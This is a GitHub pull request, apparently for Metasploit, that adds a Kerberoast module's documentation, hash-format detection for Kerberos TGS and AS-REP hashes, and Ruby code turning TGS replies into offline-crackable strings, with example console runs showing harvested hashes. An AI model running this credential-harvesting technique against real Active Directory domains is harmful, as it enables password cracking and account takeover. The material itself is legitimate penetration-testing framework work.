Skip to content

Asrep update #20176

New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Draft
wants to merge 6 commits into
base: master
Choose a base branch
from
Draft
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
31 changes: 0 additions & 31 deletions documentation/modules/auxiliary/gather/get_user_spns.md

This file was deleted.

72 changes: 72 additions & 0 deletions documentation/modules/auxiliary/gather/kerberoast.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,72 @@
## Kerberoast

This module will try to find Service Principal Names (SPN) that are associated with normal user accounts on the specified domain, and then submit requests to retrieve Ticket Granting Service (TGS) tickets for those accounts, which may be partially encrypted with the SPN user's NTLM hash. After retrieving the TGS tickets, offline brute forcing attacks can be performed to retrieve the passwords for the SPN accounts.

## Module usage

- Start `msfconsole`
- Do: `use auxiliary/gather/kerberoast`
- Do: `run rhost=<IP> domain=<FQDN> password=<pass> username=<username> target_user=<optional_user>`
- If a target user has been requested, the module will log in to LDAP, find any SPNs associated with that user, and then request that service ticket.
- If no target user has been requested, the module will request service tickets for all available users.
- A crackable value will be displayed for all valid accounts.


## Options

### DOMAIN / LDAPDOMAIN
The Fully Qualified Domain Name (FQDN). Ex: mydomain.local.

### USERNAME / LDAPUSERNAME
The username to authenticate to the DC with

### PASSWORD / LDAPPASSWORD
The password to authenticate to the DC with

### Rhostname

The hostname of the domain controller. Must be accurate otherwise the module will silently fail, even if users exist without pre-auth required.

## Scenarios

### Target user

To retrieve a TGS for a particular user, set `TARGET_USER`.

```msf
msf6 auxiliary(gather/kerberoast) > run rhost=20.248.208.9 ldapdomain=msf.local ldappassword=PasswOrd123 ldapusername=AzureAdmin target_user=low.admin
[*] Running module against 20.248.208.9
[+] 20.248.208.9:88 - Received a valid TGT-Response
[*] 20.248.208.9:389 - TGT MIT Credential Cache ticket saved to /home/user/.msf4/loot/20250513155454_default_20.248.208.9_mit.kerberos.cca_656516.bin
[+] 20.248.208.9:88 - Received a valid TGS-Response
[*] 20.248.208.9:389 - TGS MIT Credential Cache ticket saved to /home/user/.msf4/loot/20250513155454_default_20.248.208.9_mit.kerberos.cca_233943.bin
[+] Success:
$krb5tgs$17$low.admin$MSF.LOCAL$*http/abc.msf.local*$faf4a87156a49afd69de3c8b$582f8daec4a5f88fba...
[*] Auxiliary module execution completed
```

### All users

```
msf6 auxiliary(gather/kerberoast) > run rhost=20.248.208.9 ldapdomain=msf.local ldappassword=PasswOrd123 ldapusername=AzureAdmin
[*] Running module against 20.248.208.9

[+] 20.248.208.9:88 - Received a valid TGT-Response
[*] 20.248.208.9:389 - TGT MIT Credential Cache ticket saved to /home/smash/.msf4/loot/20250513155630_default_20.248.208.9_mit.kerberos.cca_281438.bin
[+] 20.248.208.9:88 - Received a valid TGS-Response
[*] 20.248.208.9:389 - TGS MIT Credential Cache ticket saved to /home/smash/.msf4/loot/20250513155630_default_20.248.208.9_mit.kerberos.cca_360340.bin
[+] 20.248.208.9:88 - Received a valid TGT-Response
[*] 20.248.208.9:389 - TGT MIT Credential Cache ticket saved to /home/smash/.msf4/loot/20250513155630_default_20.248.208.9_mit.kerberos.cca_642663.bin
[+] 20.248.208.9:88 - Received a valid TGS-Response
[*] 20.248.208.9:389 - TGS MIT Credential Cache ticket saved to /home/smash/.msf4/loot/20250513155630_default_20.248.208.9_mit.kerberos.cca_556183.bin

[+] Query returned 2 results.
[+] Success:
$krb5tgs$23$*kerber.roastable$MSF.LOCAL$http/abc2.msf.local*$d335dc07b2c018de2a19e2ecc102bd1d$abc848...
$krb5tgs$17$low.admin$MSF.LOCAL$*http/abc.msf.local*$a1c7c1c1e31e36cdb0721928$b69b48...
[!] NOTE: Multiple encryption types returned - will require separate cracking runs for each type.
[*] To obtain the crackable values for a praticular type, run `creds`:
[*] creds -t krb5tgs-rc4 -O 20.248.208.9 -o <outfile.(jtr|hcat)>
[*] creds -t krb5tgs-aes128 -O 20.248.208.9 -o <outfile.(jtr|hcat)>
[*] Auxiliary module execution completed
```
8 changes: 8 additions & 0 deletions lib/metasploit/framework/hashes.rb
Original file line number Diff line number Diff line change
Expand Up @@ -128,6 +128,14 @@ def self.identify_hash(hash)
return 'pbkdf2-sha256'
when hash =~ /^\$sntp-ms\$[\da-fA-F]{32}\$[\da-fA-F]{96}$/
return 'timeroast'
when hash =~ /^\$krb5tgs\$23\$\*.+\$[\da-fA-F]{32}\$[\da-fA-F]+$/
return 'krb5tgs-rc4'
when hash =~ /^\$krb5tgs\$18\$.+\$[\da-fA-F]{24}\$[\da-fA-F]+$/
return 'krb5tgs-aes256'
when hash =~ /^\$krb5tgs\$17\$.+\$[\da-fA-F]{24}\$[\da-fA-F]+$/
return 'krb5tgs-aes128'
when hash =~ /^\$krb5asrep\$23\$[^:]+:[\da-fA-F]{32}\$[\da-fA-F]+$/
return 'krb5asrep-rc4'
end
''
end
Expand Down
Original file line number Diff line number Diff line change
Expand Up @@ -133,6 +133,8 @@ def add_equals_to_base64(str)
nil
when /^krb5$/
return "#{cred.id}:#{cred.private.data}"
when /^(krb5.|timeroast$)/
return cred.private.data
end
end
nil
Expand Down
2 changes: 2 additions & 0 deletions lib/metasploit/framework/password_crackers/jtr/formatter.rb
Original file line number Diff line number Diff line change
Expand Up @@ -78,6 +78,8 @@ def self.hash_to_jtr(cred)
when /vnc/
# add a beginning * if one is missing
return "$vnc$#{cred.private.data.start_with?('*') ? cred.private.data.upcase : "*#{cred.private.data.upcase}"}"
when /^(krb5.|timeroast$)/
return cred.private.data
else
# /mysql|mysql-sha1/
# /mssql|mssql05|mssql12/
Expand Down
24 changes: 24 additions & 0 deletions lib/msf/core/exploit/remote/kerberos/client/tgs_response.rb
Original file line number Diff line number Diff line change
Expand Up @@ -38,6 +38,30 @@ def extract_kerb_creds(res, key, msg_type: Rex::Proto::Kerberos::Crypto::KeyUsag

Rex::Proto::Kerberos::CredentialCache::Krb5Ccache.from_responses(res, enc_res)
end

# Format from
# https://github.com/hashcat/hashcat/blob/6fce6fb3ff120ed16b300af97cf2144b36edcbe8/src/modules/module_18200.c#L126-L132
# @param [Rex::Proto::Kerberos::Model::KdcResponse] tgsrep The krb5 tgsrep response
# @param [String] user The username who requested the TGS
# @return [String] A valid string format which can be cracked offline
def format_tgs_rep_to_john_hash(tgsrep, user)
realm = tgsrep.realm.sub(':','~')
etype = Rex::Proto::Kerberos::Crypto::Encryption.from_etype(tgsrep.enc_part.etype)
mac_size = etype.class::MAC_SIZE
cipher = tgsrep.enc_part.cipher
if [Rex::Proto::Kerberos::Crypto::Encryption::AES128, Rex::Proto::Kerberos::Crypto::Encryption::AES256].include?(tgsrep.enc_part.etype)
user_part = "#{user}$#{realm}$*#{tgsrep.sname.name_string.join('/')}*"
# Checksum is at the end
checksum = cipher.last(mac_size)
cipher_part = cipher.first(cipher.length - mac_size)
else
user_part = "*#{user}$#{realm}$#{tgsrep.sname.name_string.join('/')}*"
# Checksum is at the start
checksum = cipher[0..mac_size-1]
cipher_part = cipher[mac_size..]
end
"$krb5tgs$#{tgsrep.enc_part.etype}$#{user_part}$#{checksum.unpack1('H*')}$#{cipher_part.unpack1('H*')}"
end
end
end
end
Expand Down
Loading
Loading